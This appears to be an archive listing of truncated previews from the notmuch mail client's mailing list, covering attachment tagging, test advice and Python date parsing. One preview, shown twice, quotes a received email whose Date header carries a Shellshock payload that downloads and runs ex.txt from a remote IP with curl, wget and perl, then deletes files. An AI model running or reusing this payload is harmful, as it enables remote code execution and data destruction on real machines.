Hi,
Quoting Jani Nikula (2015-10-18 13:58:01)
> On Tue, 06 Oct 2015, David Bremner wrote:
> > These broken now, but will be fixed in the next commit
> > ---
> >
> > The first test is OK, but the second one currently fails. It isn't
> > clear to me if content dispositions
Hi,
Quoting David Bremner (2015-09-18 14:03:20)
> I'd recommend making your own new test, rather than modifying existing
> ones to test multiple things. I'd also recommend using json / sexp
> output for your tests, since the ad-hoc text format is kindof
> semi-deprecated.
can you take care of
Hi,
Quoting Johannes Schauer (2015-09-17 10:36:12)
> Quoting Johannes Schauer (2015-09-17 09:00:56)
> > it seems that notmuch does not put the attachment tag if:
> >
> > Content-Disposition: ATTACHMENT; FILENAME=flyer-vk-web.pdf
> >
> > but it wo
Hi,
Quoting Tomi Ollila (2015-04-22 15:37:15)
> What do you mean by that datetime cannot handle dates before 1900 ?
>
> : $ python
> : Python 2.7.6 (default, Mar 22 2014, 22:59:56)
> : ...
> : >>> datetime.datetime.strptime('1799-11', '%Y-%m')
> : datetime.datetime(1799, 11, 1, 0, 0)
> :
Hi,
I recently received an email with the following date field (the value of all
other headers is the same):
Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO
178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget
178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr
Hi,
Quoting Tomi Ollila (2015-04-22 15:37:15)
What do you mean by that datetime cannot handle dates before 1900 ?
: $ python
: Python 2.7.6 (default, Mar 22 2014, 22:59:56)
: ...
: datetime.datetime.strptime('1799-11', '%Y-%m')
: datetime.datetime(1799, 11, 1, 0, 0)
:
Hi,
I recently received an email with the following date field (the value of all
other headers is the same):
Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO
178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget
178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr
Hi,
I recently received a multipart email with one of the parts being a pdf but the
part was not marked with "Content-Disposition: attachment". This let to notmuch
not adding tag:attachment to it.
The sender assured me that he used Outlook 2013 but I can't reproduce the
problem myself as I dont